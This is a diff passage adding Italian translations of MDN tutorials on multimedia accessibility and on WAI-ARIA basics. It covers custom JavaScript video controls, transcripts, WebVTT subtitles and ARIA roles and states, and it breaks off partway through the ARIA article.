+<p>Crea un nuovo file chiamato main.js e salvalo nella stessa cartella.</p>
+
+<p>Ora diamo un’occhiata al codice HTML del lettore video:</p>
+
+<pre class="brush: html">&lt;section class="player"&gt;
+  &lt;video controls&gt;
+    &lt;source src="rabbit320.mp4" type="video/mp4"&gt;
+    &lt;source src="rabbit320.webm" type="video/webm"&gt;
+    &lt;p&gt;Il tuo browser non supporta i video in HTML5. Puoi scaricare il file per visualizzarlo. Qui trovi il &lt;a href="rabbit320.mp4"&gt; link al file video.&lt;/p&gt;
+  &lt;/video&gt;
+
+  &lt;div class="controls"&gt;
+    &lt;button class="playpause"&gt;Play&lt;/button&gt;
+    &lt;button class="stop"&gt;Stop&lt;/button&gt;
+    &lt;button class="rwd"&gt;Rwd&lt;/button&gt;
+    &lt;button class="fwd"&gt;Fwd&lt;/button&gt;
+    &lt;div class="time"&gt;00:00&lt;/div&gt;
+  &lt;/div&gt;
+&lt;/section&gt;</pre>
+
+<h4 id="Setup_basico_di_JavaScript"><strong>Setup basico di JavaScript</strong></h4>
+
+<p> </p>
+
+<p>Abbiamo inserito alcuni bottoni nella barra dei controlli posizionata sotto al video. Tali controlli ovviamente non funzionano di default; è necessario usare JavaScript per assegnargli una funzionalità.</p>
+
+<p>Innanzitutto dobbiamo creare variabli di riferimento per ognuno dei controlli. Aggiungi il seguente codice al tuo file JavaScript:</p>
+
+<p> </p>
+
+<pre class="brush: js">var playPauseBtn = document.querySelector('.playpause');
+var stopBtn = document.querySelector('.stop');
+var rwdBtn = document.querySelector('.rwd');
+var fwdBtn = document.querySelector('.fwd');
+var timeLabel = document.querySelector('.time');</pre>
+
+<p>In seguito dobbiamo creare una variabile di riferimento al lettore audio/video stesso. Aggiungi questa linea al codice aggiunto in precedenza:</p>
+
+<pre class="brush: js">var player = document.querySelector('video');</pre>
+
+<p> </p>
+
+<p>Questa variabile fa riferimento a un oggetto <a href="https://developer.mozilla.org/en-US/docs/Web/API/HTMLMediaElement" title="The HTMLMediaElement interface adds to HTMLElement the properties and methods needed to support basic media-related capabilities that are common to audio and video.">HTMLMediaElement</a>, che contiene numerosi metodi e proprietà che si possono usare per assegnare funzionalità ai nostri bottoni.</p>
+
+<p>Prima di procedere ad assegnare funzionalità ai nostri bottoni rimuoviamo i controlli nativi, di modo che non si possano verificare conflitti con i nostri controlli personalizzati. Aggiungi il seguente codice, al fondo del tuo file JavaScript:</p>
+
+<p> </p>
+
+<pre class="brush: js">player.removeAttribute('controls');</pre>
+
+<p>Usando questo metodo, anziché quello di evitare di includere l’attributo <code>controls</code> dal principio, ha il vantaggio che, se il nostro codice JavaScript smettesse di funzionare per una qualsiasi ragione, i controlli nativi si riattiveranno automaticamente, permettendo agli utenti di continuare a usare i contenuti multimediali.</p>
+
+<h4 id="Collegare_i_nostri_bottoni"><strong>Collegare i nostri bottoni</strong></h4>
+
+<p>Come primo passo, attiviamo il bottone Play/pausa. Possiamo alternare gli stati di play e pausa usando una semplice funzione condizionale, come la seguente. Aggiungila al fondo del tuo codice JavaScript:</p>
+
+<pre class="brush: js">playPauseBtn.onclick = function() {
+  if(player.paused) {
+    player.play();
+    playPauseBtn.textContent = 'Pause';
+  } else {
+    player.pause();
+    playPauseBtn.textContent = 'Play';
+  }
+};</pre>
+
+<p>In seguito, aggiungi questo codice, che controlla il bottone Stop:</p>
+
+<pre class="brush: js">stopBtn.onclick = function() {
+  player.pause();
+  player.currentTime = 0;
+  playPauseBtn.textContent = 'Play';
+};</pre>
+
+<p> </p>
+
+<p>Non esiste una funzione <code>stop()</code> nativa negli elementi <a href="https://developer.mozilla.org/en-US/docs/Web/API/HTMLMediaElement" title="The HTMLMediaElement interface adds to HTMLElement the properties and methods needed to support basic media-related capabilities that are common to audio and video.">HTMLMediaElement</a>, dunque al suo posto usiamo <code>pause()</code>, e allo stesso tempo resettiamo a zero il tempo di riproduzione <code>currentTime</code>.</p>
+
+<p>Aggiungiamo ora i bottoni Riavvolgimento e Avanzamento Rapido. Aggiungi i seguenti blocchi di codice in fondo al file:</p>
+
+<p> </p>
+
+<pre class="brush: js">rwdBtn.onclick = function() {
+  player.currentTime -= 3;
+};
+
+fwdBtn.onclick = function() {
+  player.currentTime += 3;
+  if(player.currentTime &gt;= player.duration || player.paused) {
+    player.pause();
+    player.currentTime = 0;
+    playPauseBtn.textContent = 'Play';
+  }
+};</pre>
+
+<p> </p>
+
+<p>Questi bottoni sono controlli molto basici, non fanno altro che far avanzare o tornare indietro il video di 3 secondi ogni volta che vengono cliccati. In una applicazione reale probabilmente vorrai aggiungere uno slider di posizionamento più elaborato o qualcosa di simile.</p>
+
+<p>Nota inoltre che ogni volta che il bottone di Avanzamento Rapido viene cliccato controlliamo se il momento attuale della riproduzione <code>currentTime</code> è maggiore del tempo totale <code>duration</code>, o se la riproduzione è in pausa. Se una delle due condizioni è vera fermiamo la riproduzione del video, per evitare che si verifichino errori nel lettore multimediale se l’utente cerca di avanzare oltre la fine del video o quando il video si trova in stato di pausa.</p>
+
+<p>Come ultimo passo, aggiungi questo codice al fondo del file, per controllare il display del tempo trascorso:</p>
+
+<pre class="brush: js">player.ontimeupdate = function() {
+  var minutes = Math.floor(player.currentTime / 60);
+  var seconds = Math.floor(player.currentTime - minutes * 60);
+  var minuteValue;
+  var secondValue;
+
+  if (minutes&lt;10) {
+    minuteValue = "0" + minutes;
+  } else {
+    minuteValue = minutes;
+  }
+
+  if (seconds&lt;10) {
+    secondValue = "0" + seconds;
+  } else {
+    secondValue = seconds;
+  }
+
+  mediaTime = minuteValue + ":" + secondValue;
+  timeLabel.textContent = mediaTime;
+};</pre>
+
+<p>Ogni volta che il tempo si aggiorna (ogni secondo), questa funzione viene eseguita. A partire dal valore di currentTime, che si esprime in secondi, la funzione calcola il numero di minuti e secondi trascorsi, aggiunge uno 0 davanti al numero di minuti o secondi se tale numero è inferiore a 10, dà al risultato il formato “minuti:secondi” e infine lo invia al display timeLabel perchè sia mostrato all’utente.</p>
+
+<h4 id="Ulteriori_letture"><strong>Ulteriori letture</strong></h4>
+
+<p>Quanto spiegato finora ti dà un’idea basica di come aggiungere funzionalità personalizzate ai lettori audio/video. Per maggiori informazioni su come aggiungere funzionalità più complesse, incluso come utilizzare Flash come fallback per i browser più vecchi, vedi gli articoli (in inglese):</p>
+
+<ul>
+ <li><a href="/en-US/docs/Web/Apps/Fundamentals/Audio_and_video_delivery">Audio and video delivery</a></li>
+ <li><a href="/en-US/docs/Web/Apps/Fundamentals/Audio_and_video_delivery/Video_player_styling_basics">Video player styling basics</a></li>
+ <li><a href="/en-US/docs/Web/Apps/Fundamentals/Audio_and_video_delivery/cross_browser_video_player">Creating a cross-browser video player</a></li>
+</ul>
+
+<p>Abbiamo inoltre creato un esempio avanzato che mostra come si può creare un sistema orientato ad oggetti che trova ogni lettore audio o video presente in una pagina e gli aggiunge i nostri controlli personalizzati. Vedi <u><a href="http://mdn.github.io/learning-area/accessibility/multimedia/custom-controls-OOJS/">custom-controls-oojs</a></u> (qui trovi il <u><a href="https://github.com/mdn/learning-area/tree/master/accessibility/multimedia/custom-controls-OOJS">codice sorgente</a></u>).</p>
+
+<h2 id="Trascrizioni_audio"><strong>Trascrizioni audio</strong></h2>
+
+<p>Per rendere i contenuti audio accessibili alle persone con difficoltà auditive devi ricorrere a trascrizioni testuali. Le trascrizioni possono includersi nella stessa pagina dove l’audio viene riprodotto, o in una pagina separata collegata ad essa con un link.</p>
+
+<p>Dal punto di vista pratico, le opzioni per la creazione delle trascrizioni sono:</p>
+
+<ul>
+ <li>Servizi commerciali: puoi assumere un trascrittore professionista tramite compagnie come <u><a href="https://scribie.com/">Scribie</a></u>, <u><a href="https://castingwords.com/">Casting Words</a></u>, o <u><a href="https://www.rev.com/">Rev</a></u>. Dedica un po’ di tempo a cercare un’azienda con buona reputazione, che compirà il lavoro con efficienza e serietà. In generale, un maggiore spesa comporterà un migliore risultato; la rapidità e accuratezza del servizio possono variare molto tra le diverse aziende che offrono tali servizi.</li>
+ <li>Comunità / fai da te:  se sei parte di una comunità attiva puoi chiedere un aiuto per effettuare le trascrizioni, o puoi farle tu stesso.</li>
+ <li>Servizi automatici:  esistono servizi di trascrizione automatica, per esempio quando carichi un video su Youtube puoi scegliere di generare sottotitoli/trascrizioni automatici. La qualità della trascrizione automatica è molto variabile, e dipende dalla qualità dell’audio.</li>
+</ul>
+
+<p>NON è una buona pratica quella di pubblicare del contenuto audio e promettere di pubblicare le trascrizioni in un secondo momento. Spesso tali promesse non vengono compiute, danneggiando la fiducia che gli utenti ripongono in chi pubblica il contenuto. Nel caso in cui l’audio che si pubblica sia un dialogo o un evento come una conferenza pubblica, è accettabile pubblicare note riassuntive del contenuto insieme all’audio.</p>
+
+<h3 id="Esempi_di_trascrizioni">Esempi di trascrizioni</h3>
+
+<p>Se ricorri a un servizio di trascrizione automatico, probabilmente dovrai usare l’interfaccia utente fornita dal servizio. Per esempio, apri il video <u><a href="https://www.youtube.com/watch?v=zFFBsj97Od8">Audio Transcription Sample 1</a></u> e clicca sui tre puntini delle opzioni aggiuntive. In seguito clicca su <em>Apri trascrizione</em>.</p>
+
+<p>Se stai creando una interfaccia personalizzata per presentare il tuo contenuto audio e le relative trascrizioni, tieni in considerazione l’idea di includere un pannello-trascrizioni che appare/scompare; vedi il nostro esempio <u><a href="http://mdn.github.io/learning-area/accessibility/multimedia/audio-transcript-ui/">audio-transcript-i</a>u</u>  (vedi anche il <u><a href="https://github.com/mdn/learning-area/tree/master/accessibility/multimedia/audio-transcript-ui">codice sorgente</a></u>).</p>
+
+<h3 id="Descrizioni_audio">Descrizioni audio</h3>
+
+<p> </p>
+
+<p>Se al contenuto audio è associato anche un contenuto visuale, devi fornire descrizioni audio di tale contenuto visuale.</p>
+
+<p>In molti casi si tratterà di contenuto video, e in tal caso puoi associargli didascalie usando le tecniche descritte nella prossima sezione di questo articolo.</p>
+
+<p> </p>
+
+<p>Tuttavia ci sono dei casi limite. Per esempio, potresti dover pubblicare una registrazione audio di una conferenza durante la quale si fa riferimento a una risorsa visuale, come una tabella o un grafico. In tali casi, dovresti fare in modo che tali risorse vengano fornite insieme all’audio e alla trascrizione, avendo cura di porre un link alle risorse nel punto della trascrizione in cui si fa riferimento ad esse. Questo procedimento sarà di aiuto a tutti gli utenti, non solo alle persone con difficoltà auditive.</p>
+
+<div class="note">
+<p><strong>Nota</strong>: una trascrizione audio sarà utile a vari tipi di utente. Oltre a permettere alle persone con difficoltà auditive di accedere al contenuto audio, sarà molto utile anche agli utenti che navigano con una connessione lenta, che probabilmente preferiscono non scaricare il contenuto audio. Pensa inoltre a un utente che si trova in un ambiente rumoroso, come un pub, e non può udire il contenuto audio correttamente.</p>
+</div>
+
+<h2 id="Tracce_testuali_nei_video"><strong>Tracce testuali nei video</strong></h2>
+
+<p>Per rendere i contenuti video accessibili a persone con difficoltà auditive o visive, e anche ad altri gruppi di utenti, come per esempio quelli che non capiscono la lingua che si parla nel video, devi associare al contenuto video una traccia testuale.</p>
+
+<div class="note">
+<p><strong>Nota</strong>: le tracce testuali sono utili ad ogni tipo di utente, non solo a chi ha una disabilità. Per esempio, un utente potrebbe non essere in grado di udire l’audio perchè si trova in un ambiente rumoroso, come un bar affollato, o un altro potrebbe decidere di togliere l’audio a un video per non disturbare chi gli sta vicino, se si trova per esempio in una biblioteca.</p>
+</div>
+
+<p>Non si tratta certo di un concetto nuovo, le stazioni televisive usano le tracce testuali già da moltissimo tempo:</p>
+
+<p><img alt='Frame from an old-timey cartoon with closed captioning "Good work, Goldie. Keep it up!"' src="https://mdn.mozillademos.org/files/14436/closed-captions.png" style="display: block; height: 240px; margin: 0px auto; width: 320px;"></p>
+
+<p>Molti paesi trasmettono i film in inglese con sottotitoli nella lingua del paese, e spesso nei film in DVD si trovano disponibili tracce testuali in varie lingue. Per esempio:</p>
+
+<p><img alt='An English film with German subtitles "Emo, warum erkennst du nicht die Schonheit dieses Ortes?"' src="https://mdn.mozillademos.org/files/14442/Subtitles_German.jpg" style="display: block; margin: 0 auto;"></p>
+
+<p>Esistono diversi tipi di traccia testuale, con differenti scopi. I tipi principali sono:</p>
+
+<ul>
+ <li>Didascalie: sono pensate per persone con difficoltà auditive  e includono una trascrizione delle parole che vengono pronunciate nei dialoghi e anche informazioni sul contesto, come per esempio chi sta parlando, lo stato d’animo delle persone, che tipo di musica sta suonando, gli effetti sonori (suono del telefono, passi, pioggia ecc.).</li>
+ <li>Sottotitoli: rivolti a un pubblico che non capisce la lingua dei dialoghi, sono traduzioni del contenuto audio da una lingua a un’altra. Possono anche contenere informazioni extra sulla scena rappresentata.</li>
+ <li>Descrizioni: sono descrizioni dettagliate delle scene rappresentate, pensate per persone che non possono vedere il video.</li>
+ <li>Titoli capitoli: titoli delle varie sezioni in cui si divide un video, per rendere la navigazione dello stesso più facile.</li>
+</ul>
+
+<h3 id="Implementare_le_tracce_testuali_in_HTML5">Implementare le tracce testuali in HTML5</h3>
+
+<p>Le tracce testuali da mostrarsi associate a un video in HTML5 devono essere scritte in WebVTT, un formato che contiene stringhe di testo associate a metadati come il momento del video in cui si desidera mostrare ogni stringa, e anche informazioni sullo stile e il posizionamento della stringa. Tali stringhe di testo sono chiamate “cues”.</p>
+
+<p>Un file WebVTT tipico è più o meno così:</p>
+
+<pre>WEBVTT
+
+1
+00:00:22.230 --&gt; 00:00:24.606
+Questo è il primo sottotitolo.
+
+2
+00:00:30.739 --&gt; 00:00:34.074
+Questo è il secondo.
+
+  ...</pre>
+
+<p>To get this displayed along with the HTML media playback, you need to:</p>
+
+<ul>
+ <li>Salvare il file in formato .vtt in una cartella.</li>
+ <li>Associare il file .vtt al lettore usando l’elemento <a href="https://developer.mozilla.org/en-US/docs/Web/HTML/Element/track" title="The HTML &lt;track> element is used as a child of the media elements &lt;audio> and &lt;video>. It lets you specify timed text tracks (or time-based data), for example to automatically handle subtitles. The tracks are formatted in WebVTT format (.vtt files) — Web ">&lt;track&gt;</a>. L’etichetta <code>&lt;track&gt;</code> deve essere inclusa dentro l’etichetta <code>&lt;audio&gt;</code> o <code>&lt;video&gt;</code>, e posizionata dopo tutte le etichette <code>&lt;source&gt;</code>. Usa l’attributo <u><a href="https://developer.mozilla.org/en-US/docs/Web/HTML/Element/track#attr-kind">kind</a></u> per specificare se le cues sono sottotitoli (subtitles), didascalie (captions) o descrizioni (descriptions).</li>
+ <li>
+  <p>Usa l’attributo <u><a href="https://developer.mozilla.org/en-US/docs/Web/HTML/Element/track#attr-srclang">srclang</a></u> per indicare al browser in quale lingua sono scritti i sottotitoli.</p>
+ </li>
+</ul>
+
+<p>Un esempio:</p>
+
+<pre class="brush: html">&lt;video controls&gt;
+    &lt;source src="example.mp4" type="video/mp4"&gt;
+    &lt;source src="example.webm" type="video/webm"&gt;
+    &lt;track kind="subtitles" src="subtitles_en.vtt" srclang="en"&gt;
+&lt;/video&gt;</pre>
+
+<p>Il risultato sarà un video sottotitolato, simile a questo: </p>
+
+<p><img alt='Video player with standard controls such as play, stop, volume, and captions on and off. The video playing shows a scene of a man holding a spear-like weapon, and a caption reads "Esta hoja tiene pasado oscuro."' src="https://mdn.mozillademos.org/files/7887/video-player-with-captions.png" style="display: block; height: 365px; margin: 0px auto; width: 593px;"></p>
+
+<p>Per maggiori dettagli leggi l’articolo (in inglese) <a href="https://developer.mozilla.org/en-US/docs/Web/Apps/Fundamentals/Audio_and_video_delivery/Adding_captions_and_subtitles_to_HTML5_video">Adding captions and subtitles to HTML5 video</a>. Puoi trovare <a href="http://iandevlin.github.io/mdn/video-player-with-captions/">l’esempio</a> che appare nell’articolo su Github, scritto da Ian Devlin (vedi anche il <a href="https://github.com/iandevlin/iandevlin.github.io/tree/master/mdn/video-player-with-captions">codice sorgente</a>). Questo esempio, tramite l’uso di JavaScript, permette agli utenti di scegliere tra differenti sottotitoli. Nota che, per attivare i sottotitoli, devi premere il bottone “CC” e selezionare una opzione tra inglese, tedesco o spagnolo.</p>
+
+<div class="note">
+<p><strong>Nota</strong>: le tracce testuali e le trascrizioni contribuiscono anche al <u><a href="https://developer.mozilla.org/en-US/docs/Glossary/SEO" title="SEO: SEO (Search Engine Optimization) is the process of making a website more visible in search results, also termed improving search rankings.">SEO</a></u>, poichè i motori di ricerca danno molta importanza al contenuto testuale. Le tracce testuali possono perfino permettere ai motori di ricerca di ridirigere l’utente a un punto specifico del video.</p>
+</div>
+
+<h2 id="Altro_contenuto_multimediale"><strong>Altro contenuto multimediale</strong></h2>
+
+<p>Le sezioni precedenti non trattano tutti i tipi di contenuto multimediale che potresti voler usare sul tuo sito o applicazione. Potresti trovarti a dover gestire giochi, animazioni, slideshow, video inseriti da fonti esterne, o altro contenuto creato usando tecnologie come:</p>
+
+<ul>
+ <li><a href="/it/docs/Web/HTML/Canvas">Canvas HTML5</a></li>
+ <li>Flash</li>
+ <li>Silverlight</li>
+</ul>
+
+<p>Per tali contenuti è necessario gestire i problemi di accessibilità secondo ogni caso particolare. In alcuni casi non è particolarmente difficile, per esempio:</p>
+
+<ul>
+ <li>Se stai inserendo contenuto audio da fonti esterne tramite un plugin come Flash or Silverlight, probabilmente puoi fornire una trascrizione con lo stesso metodo mostrato qui sopra nella sezione <a href="/it/docs/Learn/Accessibilità/Multimedia#Esempi_di_trascrizioni">Esempi di trascrizioni</a>.</li>
+ <li>Se stai inserendo contenuto video da fonti esterne tramite un plugin come Flash or Silverlight, puoi ricorrere alle tecniche usate per inserire didascalie/sottotitoli in tali tecnologie. Per esempio vedi gli articoli in inglese <a href="http://www.adobe.com/accessibility/products/flash/captions.html">Flash captions</a>, <a href="https://support.brightcove.com/en/video-cloud/docs/using-flash-only-player-api-closed-captioning">Using the Flash-Only Player API for Closed Captioning</a>, o <a href="https://blogs.msdn.microsoft.com/anilkumargupta/2009/05/01/playing-subtitles-with-videos-in-silverlight/">Playing Subtitles with Videos in Silverlight</a>.</li>
+</ul>
+
+<p>Tuttavia, ci sono altri tipi di contenuto multimediale per i quali non è facile implementare l’accessibilità. Per esempio, se stai lavorando su un gioco immersivo in 3D o una applicazione di realtà virtuale, è realmente difficile fornire alternative testuali per tale tipo di esperienza. D’altro canto si può obiettare che le persone con vista ridotta non sono parte del target di pubblico di tali applicazioni.</p>
+
+<p>Dovresti comunque assicurarti che tale tipo di applicazioni abbiano un contrasto dei colori ottimale, di modo che siano più facilmente visualizzabili a persone con vista ridotta o daltonismo. Inoltre dovresti fare tutto il possibile per renderli accessibili da tastiera. Ricorda che è necessario cercare di fare sempre tutto il possibile invece di puntare al 100% dell’accessibilità in ogni situazione, un obiettivo spesso impossibile da raggiungere.</p>
+
+<h2 id="Riassunto"><strong>Riassunto</strong></h2>
+
+<p>Questo articolo ha fornito una sintesi dei problemi di accessibilità relativi ai contenuti multimediali, e inoltre alcune soluzioni pratiche a tali problemi.</p>
+
+<p>{{PreviousMenuNext("Learn/Accessibilità/WAI-ARIA_basics","Learn/Accessibilità/Mobile", "Learn/Accessibilità")}}</p>
+
+<p> </p>
+
+<h2 id="In_questo_modulo">In questo modulo</h2>
+
+<ul>
+ <li><a href="/it/docs/Learn/Accessibilità/Cosa_è_accessibilità">Cos'è l'accessibiltà</a>?</li>
+ <li><a href="/it/docs/Learn/Accessibilità/HTML_accessibilità">HTML: una buona base per l'accessibilità</a></li>
+ <li><a href="/it/docs/Learn/Accessibilità/CSS_e_JavaScript_accessibilità">Linee guida di accessibiltà per CSS e JavaScript</a></li>
+ <li><a href="/it/docs/Learn/Accessibilità/WAI-ARIA_basics">Basi della tecnologia WAI-ARIA</a></li>
+ <li><a href="/it/docs/Learn/Accessibilità/Multimedia">Accessibilità multimediale</a></li>
+ <li><a href="/it/docs/Learn/Accessibilità/Accessibilità_dispositivi_mobili">Accessibilità per dispositivi mobili</a></li>
+ <li><a href="/it/docs/Learn/Accessibilità/Accessibilità_test_risoluzione_problemi">Risoluzione di problemi di accessibilità</a> </li>
+</ul>
+
+<p> </p>
diff --git a/files/it/learn/accessibilità/wai-aria_basics/index.html b/files/it/learn/accessibilità/wai-aria_basics/index.html
new file mode 100644
index 0000000000..09891c8a11
--- /dev/null
+++ b/files/it/learn/accessibilità/wai-aria_basics/index.html
@@ -0,0 +1,422 @@
+---
+title: Basi della tecnologia WAI-ARIA
+slug: Learn/Accessibilità/WAI-ARIA_basics
+tags:
+  - ARIA
+  - Accessibilità
+  - Articolo
+  - Guida
+  - HTML
+  - HTML semantico
+  - JavaScript
+  - Principiante
+  - WAI-ARIA
+translation_of: Learn/Accessibility/WAI-ARIA_basics
+---
+<div>{{LearnSidebar}}</div>
+
+<div>{{PreviousMenuNext("Learn/Accessibilità/CSS_e_JavaScript_accessibilità","Learn/Accessibilità/Multimedia", "Learn/Accessibilità")}}</div>
+
+<p class="summary">Proseguendo i temi trattati nell'articolo precedente, può risultare complicato creare elementi di interfaccia utente accessibili quando gli stessi si basano su HTML non semantico e presentano contenuto aggiornato dinamicamente tramite JavaScript. La tecnologia WAI-ARIA può essere d'aiuto aggiungendo valore semantico addizionale, che i browser e le tecnologie assistive possono riconoscere e utilizzare per permettere agli utenti di decifrare più chiaramente il contesto e ciò che sta accadendo durante la navigazione del sito. In questo articolo vedremo come usare questa tecnologia a un livello basico per migliorare l'accessibilità.</p>
+
+<table class="learn-box standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">Prerequisiti:</th>
+   <td>Conoscimenti basici sull'uso del computer, livello basico di HTML, CSS e JavaScript, aver letto <a href="/it/docs/Learn/Accessibilità">i precedenti articoli del corso</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">Obiettivo:</th>
+   <td>Acquisire familiarità con la tecnologia WAI-ARIA e imparare a usarla dove necessario per fornire valore semantico addizionale che migliori l'accessibilità.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Cosa_è_WAI-ARIA">Cosa è WAI-ARIA?</h2>
+
+<p>Cominciamo col dare un'occhiata a cosa è WAI-ARIA, e in che modo ci può essere utile.</p>
+
+<h3 id="Un_nuovo_set_di_problemi">Un nuovo set di problemi</h3>
+
+<p>Man mano che le applicazioni web cominciarono ad essere sempre più complesse e dinamiche, nuovi problemi di accessibilità iniziarono a manifestarsi.</p>
+
+<p>Per esempio, HTML5 ha introdotto alcuni elementi semantici per definire componenti di uso comune nelle pagine ({{htmlelement("nav")}}, {{htmlelement("footer")}}, ecc.). Prima dell'arrivo di questi elementi, gli sviluppatori si limitavano a usare {{htmlelement("div")}} con ID o classi, per esempio <code>&lt;div class="nav"&gt;</code>. Ma questi elementi erano problematici, perchè non fornivano un sistema standard per individuare programmaticamente i componenti di una pagina, dunque i lettori di schermo non potevano distinguere chiaramente le varie sezioni da cui la pagina era composta. </p>
+
+<p>La soluzione inizialmente consisteva nell’aggiungere uno o più link nascosti nella parte alta della pagina. Tali link reindirizzavano alle varie sezioni della pagina, come per esempio la barra di navigazione:</p>
+
+<pre class="brush: html">&lt;a href="#hidden" class="hidden"&gt;Vai alla barra di navigazione&lt;/a&gt;</pre>
+
+<p> </p>
+
+<p>Ma questo sistema non è molto preciso, e può essere usato solo quando il lettore di schermo comincia a leggere dalla parte alta della pagina.</p>
+
+<p>Per fare un altro esempio, ad un certo punto le applicazioni cominciarono a includere controlli complessi come selezionatori di data o slider per selezionare valori. HTML5 mette a disposizione alcuni tipi speciali di input nativi, specifici per tali controlli:</p>
+
+<pre class="brush: html">&lt;input type="date"&gt;
+&lt;input type="range"&gt;</pre>
+
+<p>Ma questi elementi non sono supportati da tutti i browser, ed inoltre sono molto difficili da personalizzare, rendendoli complicati da integrare nel disegno di un sito. Di conseguenza, gli sviluppatori spesso fanno uso di librerie JavaScript e creano tali controlli come una serie di {{htmlelement("div")}} annidati o elementi di una tabella a cui assegnano classi, e in seguito li personalizzano con CSS e li controllano con funzioni di JavaScript.</p>
+
+<p>Il problema di questo metodo è che i lettori di schermo non riescono ad interpretare di cosa si tratta, e riportano solo la presenza di una serie di elementi dei quali non possono descrivere la funzione.</p>
+
+<h3 id="E_arrivò_WAI-ARIA">E arrivò WAI-ARIA</h3>
+
+<p><a href="https://www.w3.org/TR/wai-aria-1.1/">WAI-ARIA</a> è una specifica, cioè una raccolta di indicazioni, prodotta dal W3C, che definisce una serie di attributi HTML addizionali che possono essere applicati agli elementi per fornire maggior valore semantico e migliorare l'accessibilità dovunque sia necessario. Ci sono tre caratteristiche principali definite nella raccolta:  </p>
+
+<ul>
+ <li><strong>Ruoli </strong>— I ruoli (role) definiscono cosa un elemento è e qual è la sua funzione. Molti sono cosiddetti ruoli di riferimento, che in sostanza replicano il valore semantico degli elementi HTML5. Per esempio<code> role="navigation" </code>({{htmlelement("nav")}}) che corrisponde a <a href="https://developer.mozilla.org/it/docs/Web/HTML/Element/nav" title="L'elemento HTML nav (&lt;nav>) rappresenta una sezione della pagina che contiene link ad altre pagine o a parti della pagina corrente: una sezione di navigazione.">&lt;nav&gt;</a>, o <code>role="complementary"</code> ({{htmlelement("aside")}}), che corrisponde a <a href="https://developer.mozilla.org/it/docs/Web/HTML/Element/aside" title="L'elemento HTML &lt;aside> rappresenta una sezione della pagina il cui contenuto è connesso solo marginalmente al resto della pagina, e che dovrebbe essere considerato separato dal resto del contenuto. Queste sezioni sono spesso usate come sidebar. Spesso co">&lt;aside&gt;</a>. Ma ce ne sono anche altri che definiscono diverse strutture della pagina che si trovano comunemente nelle IU (Interfacce Utente), come <code>role="banner"</code>, <code>role="search"</code>, <code>role="tabgroup"</code>, <code>role="tab"</code>, ecc.</li>
+ <li><strong>Proprietà </strong>— Si tratta delle proprietà degli elementi, che si possono usare per dare agli stessi un significato extra. Per esempio, <code>aria-required="true"</code> specifica che il campo di un formulario deve essere obbligatoriamente compilato per essere valido, mentre <code>aria-labelledby="label"</code> permette di assegnare una ID a un elemento e in seguito usare l'elemento come etichetta per qualsiasi altro elemento nella pagina, anche per multipli elementi allo stesso tempo, cosa che non è possibile con  <code>&lt;label for="input"&gt;</code>. Per esempio, potresti usare aria-labelledby per specificare che una descrizione contenuta in un {{htmlelement("div")}} si usi come etichetta per multiple celle di una tabella, o come testo alternativo di una immagine, senza doverlo ripetere nell'attributo <code>alt</code>. Puoi vedere un esempio d'uso nella sezione Alternative testuali.</li>
+ <li><strong>Stati</strong> — GLi stati sono proprietà speciali che definiscono le condizioni correnti degli elementi, come per esempio <code>aria-disabled="true"</code>, che specifica a un lettore di schermo che un campo di input di un formulario è al momento disabilitato. Gli stati si distinguono dalle proprietà per il fatto che le proprietà non cambiano durante il ciclo vitale di un'applicazione, mentre gli stati possono essere cambiati, in genere tramite l'uso di JavaScript.</li>
+</ul>
+
+<p>Un punto importante da tenere in considerazione riguardo gli attributi WAI-ARIA è che non influiscono in alcun modo sulla pagina, eccetto che sulle informazioni fornite dalla API di accessibilità del browser (dalla quale i lettori di schermo prendono le informazioni). WAI-ARIA non cambia la struttura della pagina, il DOM o altro, anche se i suoi attributi possono essere utili per selezionare gli elementi in CSS.</p>
+
+<div class="note">
+<p><strong>Nota</strong>: puoi trovare una utile lista di tutti i ruoli ARIA e i loro usi, con link a informazioni più approfondite, nella specifica WAI-ARIA: vedi <a href="https://www.w3.org/TR/wai-aria-1.1/#role_definitions">Definizione di Ruoli </a>(in inglese).</p>
+
+<p>La specifica contiene anche una lista delle proprietà e degli stati, con link ad ulteriori informazioni. Vedi  <a href="https://www.w3.org/TR/wai-aria-1.1/#state_prop_def">Definizioni di Stati e Proprietà</a> (in inglese).</p>
+</div>
+
+<h3 id="Dove_è_supportata_WAI-ARIA">Dove è supportata WAI-ARIA?</h3>
+
+<p>A questa domanda non è facile rispondere. È difficile trovare  una risorsa che indichi in maniera completa quali funzionalità di WAI-ARIA sono supportate e dove, perchè:</p>
+
+<ol>
+ <li>Ci sono molte funzionalità nella specifica WAI-ARIA.</li>
+ <li>Ci sono moltissime combinazioni possibili di sistemi operativi, browser e lettori di schermo.</li>
+</ol>
+
+<p>L'ultimo punto è fondamentale: per poter usare un lettore di schermo il tuo sistema operativo deve avere installato almeno un browser con la necessaria API di accessibilità, che fornisca ai lettori di schermo le informazioni necessarie perchè funzionino. La maggior parte dei sistemi operativi ha di serie uno o due browser che funzionano con i lettori di schermo. Sul sito di Paciello Group si può trovare una guida aggiornata costantemente che fornisce dati sul supporto dei lettori di schermo nei vari sistemi operativi. Vedi l'articolo (in inglese) <a href="https://developer.paciellogroup.com/blog/2014/10/rough-guide-browsers-operating-systems-and-screen-reader-support-updated/">Guida: browser, sistemi operativi e supporto per i lettori di schermo</a>.</p>
+
+<p>Il seguente passo è assicurarsi che i browser usati supportino la tecnologia ARIA e la trasmettano tramite le loro API, ma anche che i lettori di schermo riconoscano le informazioni che ricevono e le presentino agli utenti in una forma ottimale.</p>
+
+<ol>
+ <li>Il supporto dei browser in generale è molto buono. Al momento della stesura di questo articolo, il sito caniuse.com riporta un livello globale di supporto di WAI-ARIA nei vari browser di circa l'88%.</li>
+ <li>Il supporto di ARIA nei lettori di schermo non è al momento a un livello comparabile, ma i lettori di schermo più popolari stanno facendo grandi sforzi per migliorare la compatibilità con WAI-ARIA.  Puoi farti un'idea del livello di supporto leggendo l'articolo (in inglese) <a href="https://www.powermapper.com/tests/screen-readers/aria/">Compatibilità dei lettori di schermo con WAI-ARIA</a> .</li>
+</ol>
+
+<p>In questo articolo non spiegheremo tutte le funzionalità di WAI-ARIA e i dettagli sul supporto che hanno. Cercheremo invece di presentare le funzionalità più importanti e utili agli sviluppatori web; in generale se non facciamo riferimento al livello di supporto di una funzionalità, puoi considerare che il supporto è ragionevolmente buono. In caso di eccezioni lo indicheremo esplicitamente.</p>
+
+<div class="note">
